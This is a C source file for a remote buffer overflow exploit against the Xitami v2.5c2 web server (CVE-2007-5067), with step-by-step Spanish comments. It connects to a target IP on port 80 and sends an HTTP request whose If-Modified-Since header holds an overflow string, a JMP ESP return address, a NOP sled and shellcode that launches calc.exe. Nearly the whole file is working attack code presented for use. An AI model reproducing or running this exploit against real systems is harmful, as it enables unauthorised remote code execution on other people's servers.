/*
    Exploit: Remote Buffer Overflow Exploit
    Application: iMatix Xitami v2.5c2
    Attack: Execute calc.exe
    Exploit Author: Alvaro J. Gene (Socket_0x03)
    Credits: Discovery of this vulnerability is credited to Krystian Kloskowski.
    CVE: CVE-2007-5067
    */
    
    //El archivo de cabecera stdio para las funciones básicas de C:
    #include <stdio.h>
    //El archivo de cabecera winsock2.h para las funciones de sockets:	   
    #include <winsock2.h>  
                  
    //Enlazando winsock2 a la librería wsock32.lib:	   	   
    #pragma comment(lib, "wsock32.lib")	  
           
    //La función Principal:
    int main(int argc, char *argv[]) {	   
    
        if (argc <= 1) {
    
        printf("\n");   
        printf("=========================================================\n");		
        printf("==========[ Remote Buffer Overflow Exploit ]=============\n");
        printf("===============[ Impact: Execute calc.exe ]==============\n");
        printf("=============[ Application: Xitami v2.5c2 ]==============\n");
        printf("=========================================================\n\n");
    
        printf("Author: Alvaro J. Gene (Socket_0x03)\n");
        printf("Website: www.teraexe.com\n");
        printf("Email: Socket_0x03@teraexe.com\n\n");
    
        printf("Uso: AGene_Exploit IP\n");
        printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n");
    
        return 0;
    
        }
    
        else {
    
        printf("\n");   
        printf("=========================================================\n");		
        printf("==========[ Remote Buffer Overflow Exploit ]=============\n");
        printf("===============[ Impact: Execute calc.exe ]==============\n");
        printf("=============[ Application: Xitami v2.5c2 ]==============\n");
        printf("=========================================================\n\n");
    
        printf("Author: Alvaro J. Gene (Socket_0x03)\n");
        printf("Website: www.teraexe.com\n");
        printf("Email: Socket_0x03@teraexe.com\n\n");
    
        printf("Uso: AGene_Exploit IP\n");
        printf("Ejemplo: AGene_Exploit 192.168.1.100\n\n");
    
        /********************************************************************	   
        **********************[ La Función WSASTartup ]**********************  
        ********************************************************************/	   
           
        //La estructura WSADATA para almacenar datos de sockets en la variable AGene_WSA:   
        WSADATA AGene_WSA;	   
           
        //La función WSAStarup para comenzar a usar archivos de sockets (.dll).	   
        //La palabra MAKEWORD para especificar la versión de los sockets (2.0).	   
        int AG_Result = WSAStartup(MAKEWORD(2,0), &AGene_WSA);	   
           
        /*La función WSAStartup devolverá el valor de 0 si logra realizar 
        su tarea; de lo contrario, la función devolverá el valor de 1.*/	   
        if(AG_Result == 0) {
            
            printf("WSASTartup se ha iniciado correctamente.\n");	   
        }
           
        else {
            
            printf("WSAStartup no se ha iniciado correctamente.\n");
            
            //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib).	   
            WSACleanup();
            
            /*La función system realizará una pausa para que el usuario 
            pueda ver la información anterior.*/
            system("PAUSE");
            
            return 0;	   
        }	   
           
        /********************************************************************	   
        ************************[ La función Socket ]************************	   
        ********************************************************************/	   
           
        /*Declarando la variable AGene_Socket, la cual será usada en el futuro 
        para crear un socket de internet.*/ 	   
        int AGene_Socket = NULL;	   
           
        //Usando la función socket para construir un socket:	   
        AGene_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);	   
           
        //Si existe algún error, la función socket devolverá invalid_socket:
        if(AGene_Socket == INVALID_SOCKET) {
            
            printf("La funcion socket no se ha iniciado correctamente.\n");	   
            
            WSACleanup();	   
            
            system("PAUSE");	   
            
            return 0;	   
        }
           
        else {
            
            printf("La funcion socket se ha iniciado correctamente.\n");
        }	   
           
        /********************************************************************	   
        ********************[ La Estructura SOCKADDR_IN ]********************
        ********************************************************************/	   
               
        /* La estructura SOCKADDR_IN se usará para especificar un endpoint 
        (punto final del canal de comunicación), el cual estará compuesto por 
        un dominio de comunicación, una dirección IP, y un número de puerto.*/
        SOCKADDR_IN AGene_Socket_Address;	   
                  
        /*Usando el parámetro sin_family de la estructura SOCKADDR_IN 
        para especificar un dominio de comunicación:*/	 
        AGene_Socket_Address.sin_family = AF_INET;	   
    
        /*Usando el parámetro sin_port de la estructura SOCKADDR_IN 
        para especificar un número de puerto:*/
        AGene_Socket_Address.sin_port = htons(80);	   
        
        //Usando la estructura hostent para almacenar la dirección IP:
        struct hostent *AGene_Target;
    
        //Usando la función gethostbyname para almacenar la IP en AGene_Target:
        AGene_Target = gethostbyname(argv[1]);
    
        //Función memcpy para añadir la IP a la estructura SOCKADDR_IN
        memcpy(&AGene_Socket_Address.sin_addr.s_addr, AGene_Target->h_addr, AGene_Target->h_length);	   
           
        /********************************************************************	   
        ***********************[ La Función Connect ]************************
        ********************************************************************/	   
          
        /*Declarando la variable AGene_C (C = Conectar), la cual será usada 
        para conectar a un servidor.*/	   
        int AGene_C = NULL;	   
           
        //Usando la función connect para conectar a un servidor:
        AGene_C = connect(AGene_Socket, (struct sockaddr *)&AGene_Socket_Address, sizeof(AGene_Socket_Address));	   
         
        
        /*La función connect va a devolver el valor de 0 si logra conectar con el 
        servidor; de lo contrario, la función devolverá el valor de SOCKET_ERROR.*/	   
        if(AGene_C == 0) {
            
            printf("El exploit ha logrado conectar con el servidor.\n");
        }
           
        else {
            
            printf("El exploit no logro conectar con el servidor.\n");
    
            WSACleanup();
            
            system("PAUSE");
            
            return 0;	   
        }	   	  
           
        /********************************************************************	   
        *******************[ Enviando Datos al Servidor ]********************
        ********************************************************************/	   
           
        //Declarando la variable AGene_Info que almacenará los datos:  	   
        char *AGene_Info;	   
        
        //Datos que se van a enviar al servidor HTTP Xitami (examinado en Windows XP SP2):	   
        AGene_Info = "GET / HTTP/1.1\r\n"
                       "Host: 192.168.1.100\r\n"
                       "If-Modified-Since: Evil, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                       "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                       "\x65\x82\xA6\x7C" // JMP ESP de Shell32.dll
                       "\xeb\x22"         // jmp short + 0x22
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10 NOPs
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //10
                       "\x90\x90\x90\x90\x90\x90\x90\x90" //128 NOPs
                       "\x6a\x22\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d\x6c\xf6" //Shellcode para ejecutar calc.
                       "\xb2\x83\xeb\xfc\xe2\xf4\x71\x84\xb2\xb2\x8d\x6c\x7d\xf7\xb1\xe7"
                       "\x8a\xb7\xf5\x6d\x19\x39\xc2\x74\x7d\xed\xad\x6d\x1d\xfb\x06\x58"
                       "\x7d\xb3\x63\x5d\x36\x2b\x21\xe8\x36\xc6\x8a\xad\x3c\xbf\x8c\xae"
                       "\x1d\x46\xb6\x38\xd2\xb6\xf8\x89\x7d\xed\xa9\x6d\x1d\xd4\x06\x60"
                       "\xbd\x39\xd2\x70\xf7\x59\x06\x70\x7d\xb3\x66\xe5\xaa\x96\x89\xaf"
                       "\xc7\x72\xe9\xe7\xb6\x82\x08\xac\x8e\xbe\x06\x2c\xfa\x39\xfd\x70"
                       "\x5b\x39\xe5\x64\x1d\xbb\x06\xec\x46\xb2\x8d\x6c\x7d\xda\xb1\x33"
                       "\xc7\x44\xed\x3a\x7f\x4a\x0e\xac\x8d\xe2\xe5\x9c\x7c\xb6\xd2\x04"
                       "\x6e\x4c\x07\x62\xa1\x4d\x6a\x0f\x97\xde\xee\x6c\xf6\xb2"
                       "\r\n\r\n";
            
        //La función send para enviar los datos al servidor:	   
        send(AGene_Socket, AGene_Info, strlen(AGene_Info), 0);	  
    
        /********************************************************************	   
        ************************[ Cerrar y Limpiar ]*************************
        ********************************************************************/	   
           
        /*La función shutdown para finalizar la transferencia de datos.
        Primer parámetro: Se especifica un socket de internet.
        Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/	   
        shutdown(AGene_Socket, SD_SEND);
           
        //La función closesocket para cerrar un socket:
        closesocket(AGene_Socket);
           
        //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib).	   
        WSACleanup();
    
        printf("El exploit ha completado su funcionamiento...\n");
           
        /*La función system realizará una pausa para que el usuario 
        pueda ver la información anterior.*/	   
        system("PAUSE");
    
        return 0;
    
        }   
    }